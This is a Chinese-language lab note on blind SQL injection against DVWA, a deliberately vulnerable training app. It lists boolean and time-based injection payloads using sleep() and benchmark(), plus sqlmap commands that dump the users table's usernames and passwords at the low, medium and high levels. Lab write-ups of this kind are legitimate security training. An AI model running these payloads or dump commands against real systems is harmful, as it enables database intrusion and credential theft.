链接: https://github.com/dhgdhg/DVWA-Note

  1. SQL Injection(Blind)

    <summary>预备知识</summary> <details>
    • 使用union时只显示第二条数据

      • 使union前的语句出错
      • limit 1,1
    • SQL盲注

      • sql执行只返回 真 或 假
        • 比如
          • id = 1 and 2=3
          • id = '1' and '2'='3'
          • id = "1" and "2"="3"
    • 三种注入poc, 验证查询的字段是什么类型的

      • 1 and 2=3--
      • 1' and '2'='3--
      • 1" and "2"="3--
      • 其他
        • and 1 like 1
    • 函数

      • length(str)
        • 返回str长度
        • 确定字段长度
          • 比如数据库名
          • 使用二分法不断比对length(database())>1, 最后确定数据库名的长度
      • left()
        • 例:left('test', 2) --> 'te'
      • regexp
        • 例:select 'test' regexp '^t' --> True
      • substr(), mid()
        • 获取子字符串
        • 例:substr('test', 1, 2)='te' --> True
        • 例:mid('test', 1, 2)='te' --> True
      • like
        • 例: select 'test' like 'te' --> True
      • ascii(str), ord(str)
        • 返回str第一个字符的ascii
        • 0 =< ascii码 =< 127
        • a: 97
        • z: 122
        • 0: 48
        • 9: 57
        • _: 95
        • 结合substr就emm, 结合二分法, 例:
          • ascii( substr('test', 1, 1) ) > 64
          • ascii( substr(database(), 1, 1) ) > 64
          • ord( substr('test', 1, 1) ) > 64
          • ord ( substr(database(), 1, 1) ) > 64
    • 延时注入

      • sleep(num)
        • 睡多久
      • benchmark()
        • 指定函数执行多少次, 从而延长时间, 但是不要太大, 服务器他, 可能扛不住
        • 例:benchmark(5000000, md5('emmm'))
      • if()
        • 例:if(x , y, z), 等价于
          if x:
            return y
          else:
            return z
        • 结合sleep
          • sleep(if(1, 5, 0))
          • sleep(if(length(database())>3, 5, 0))
        • 结合benchmark
          • benchmark(if(1, 5000000, 0), md5('emmm'))
          • benchmark(if(length(database()), 5000000, 0), md5('emmm'))
    • 可通过burpsuit的intruder模块进行自动破解

    </details>
  2. low

    • 试试呗
    • python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4"
    • ...
    • python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
  3. medium

    • python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
    • 毫无新意
  4. high

    • 这个有新意,post url变了,cookie也变了, 发post请求也搞不动了
    • 我太难了, 老铁最近我压力很大
    • 既然id在cookie里面了试试--level 2
      • python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --second-url "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "id=1;security=high; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump --level 2 --threads 10, 算球
      • 也就那样吧, 哈哈哈哈哈哈哈哈哈哈哈
    • 一口气写这么多参数,这谁扛得住, 根!本!扛!不!住! 试试butpsuit 捕获请求直接发包
      • python sqlmap.py -r r.txt --second-url "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" -p "id" -D dvwa -T users -C user,password --dump --threads 10
      • 不过结果并不准确, 难受